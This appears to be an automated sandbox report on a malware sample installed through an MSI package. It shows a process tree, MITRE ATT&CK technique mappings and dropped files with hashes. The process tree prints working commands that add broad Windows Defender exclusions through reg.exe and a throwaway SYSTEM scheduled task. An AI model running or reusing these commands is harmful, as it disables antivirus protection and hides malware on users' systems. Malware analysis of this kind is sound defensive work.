C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5328 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4724
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3456
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4112
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mKVzUo" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mKVzUo" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2812
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:4932
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5320 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1356
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3104 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2604
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5496 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5612
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2824
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e599ee7.rbs
- Size 7KB
- SHA256 b2700853c9d99b06663a5ef6b67384852157971ae239c21b4196977156acc4cf
- MD5 7dfdee0be8f35dcd09774155961c5110
- SHA1 23160a9427cb71a7c5d941320c8ae97d24998363
- SHA512 50981193769a722ec90449825c8caa0cb7f2cacb2bf63e2bf66ec636e950859b2381ef594c9cf2254c97d76271d6f5bf7f5d2f69abf9f70223e0a30cf63f408c
- SSDEEP 96:tKwguT7RC3PUPaUUTh1CsThq5UTh1C6joXPxtThqxH6S5ivW1EVaCKpljLu48jBH:tVCLzNIIXNIb8k7KpC
- TLSH T1B6F1EC42AB00D6F3EF961B75CB13176637B2E3D99320174F099D88601F5638C6E9A29F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mKVzUo\UxEnhance64.dll
- Size 3.1MB
- SHA256 db61576ed792aea8ea7dd5a544f251e0dd5d07bd504ac265d13e7c93a251a6a3
- MD5 d319f8f533a2a28ff774615065ff44fd
- SHA1 5a7c6c7c453f5d307fb2ed2634cdf2d96bbb6dd0
- SHA512 9939dfe2cfa224cda17c5c059c31fef0ba866d4bb2a875428cf03c396c636219f3afead1e698fefc7ddfd8b413b01d090340ab57058bab45e256e075365f58c2
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+Z:P9m29xx3Tiqt06ox6+z2rNNrKoZ
- TLSH T198E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mKVzUo\adoresd.dat
- Size 4.7MB
- SHA256 a3a168d176fd5f3e34286e08569444b2ad25ce55d587a1d1a209d20a5e4119d3
- MD5 402fe9594a7c3476fdb82f5c7460a8f1
- SHA1 4ea0a8502d800403d2c5716deb9ba16951c85b27
- SHA512 4bf6e022460e85304c43feb7783e73c6bd96f2acda5ae797675766a9faed7725f87abdcc30ec9fb97244895cfd00e811b94b18b6685aadf5f7802c4e2dcb8cf6
- SSDEEP 98304:fmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Ou1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1073633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mKVzUo\gmvBYX.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\mKVzUo\msadox.tb
- Size 8KB
- SHA256 a968fb439534c1368c6568bcf8459eb4ef483634097e193774caf630a1a973b9
- MD5 74ed6c79721b61b29b23c0430a5a7f6b
- SHA1 fb75aae70c9efb0353208bfb6c2cf8bba60927a3
- SHA512 6993b91c89a0dcb88922833b4642f561ab586be84a7e3df74568ca877b4a9a32fd0924e94936cafa330722f11ef1acd33e4301b4d3126bacf2737e5c26b6e522
- SSDEEP 192:YqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:YsZqZOXQ3uqvR2Kfzp
- TLSH T189029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIA521.tmp
- Size 5.3MB
- SHA256 5f9cc0f4f7e1d78846d8234272210b9d1f608088f79cbeabcfa9b029e1197c46
- MD5 a8d764ac1634fa7ba9c87275cff91718
- SHA1 afb992c341c75aac09a6bc4ea477e56746f74966
- SHA512 3c67a35c2be28b08860e72ce0a53aa8cdee5478c23d16710b2f97630a173d46f023c4c11bedde8e0bca94bd0beb20ed1abb499a2527979ace7b0ed0e7db5255d
- SSDEEP 98304:ERrwSKgwM9ZRYuX8/IE443gwH4f/w8TFRztryA47lBMol3kYk1jZSLrXQxx:ERrvHwMCuM34Dg4Ztrp47lyoqYk1QLsz
- TLSH T1954633C419CA6B70C05BC7B5821772EE716D3BC6BE329E0E79DE9D082E3111B6875B09
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e599ee6.msi
- Size 5.3MB
- SHA256 a6377e384d032783d8cd22d371f7c983dca2de11c0367645fa7be95da5d88458
- MD5 5fa7cd96aa6f0d3b54e73dbc920c570b
- SHA1 87e5bfd9496492f5aa6cf8355fd955cb0ea965f0
- SHA512 4547c99d1f212e6b3de6154a44db7ed3dfe405641fa1e3dca9ffe1b7fa68500a5811e970b3c5a1821c4af94b8bda696f1d1ad0e8caa069e7542b67162ddfdf07
- SSDEEP 98304:xRrwSKgwM9ZRYuX8/IE443gwH4f/w8TFRztryA47lBMwl3kYk1jZSLrXQxk:xRrvHwMCuM34Dg4Ztrp47lywqYk1QLsC
- TLSH T1624633C429C66B30C05BC7B18217B6AE716D7FC6BE329D0A79DEBD082E3111B5875B09
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 63fdd990ed17ed18f893b79466adc9013453e04f6332d323bdae334691e6bcbc
- MD5 1ce2ba2cad3e865887b53ee64506b728
- SHA1 5e8175432412b2a71cd440db03b3efc71a25d954
- SHA512 564f2507364e143234a1a235188c48a061451fa584353a233b8f7f179e0464d9094f7330b322dcb75a24e24bb1b033a34a85cda6522fe2f97b4fb77628c7c7e9
- SSDEEP 24576:ZFo3DMPNdoO/vvTL/Sg88iFQvrumHb7P0BKudxSUKpyKpb9cMoRWclmd4+K:hHs
- TLSH T12257B42436F92200E7F79E3DA8F06A234D397D5BAC15DE8D45511B4E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{284b20a3-c02e-4378-aaab-4355234a79c3}_OnDiskSnapshotProp
- Size 6KB
- SHA256 a750f45172d0503761366c08303e14f26d4a15d6a86bd96e39a0ff1b5bfda866
- MD5 9b256d1a3ca25aeeeb0c057d324717ef
- SHA1 9effa3d45a13f50bdbdfa070e8786344d7ccdb03
- SHA512 11b642b00851a07c8c4bb42741488101cb6ff64b500cd1e5095163919cc97d246dff42087d318b6534e05d1fb9167e9888a0795ccf382c30d5799719953f2573
- SSDEEP 96:FeM7WCvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:kNeb++uVmN
- TLSH T1E3D189081AE54711E2B3AB3129F18557A877B911FF33CB8E0198238E2671A10F975F6B
- MD5 SHA1 SHA512 SSDEEP TLSH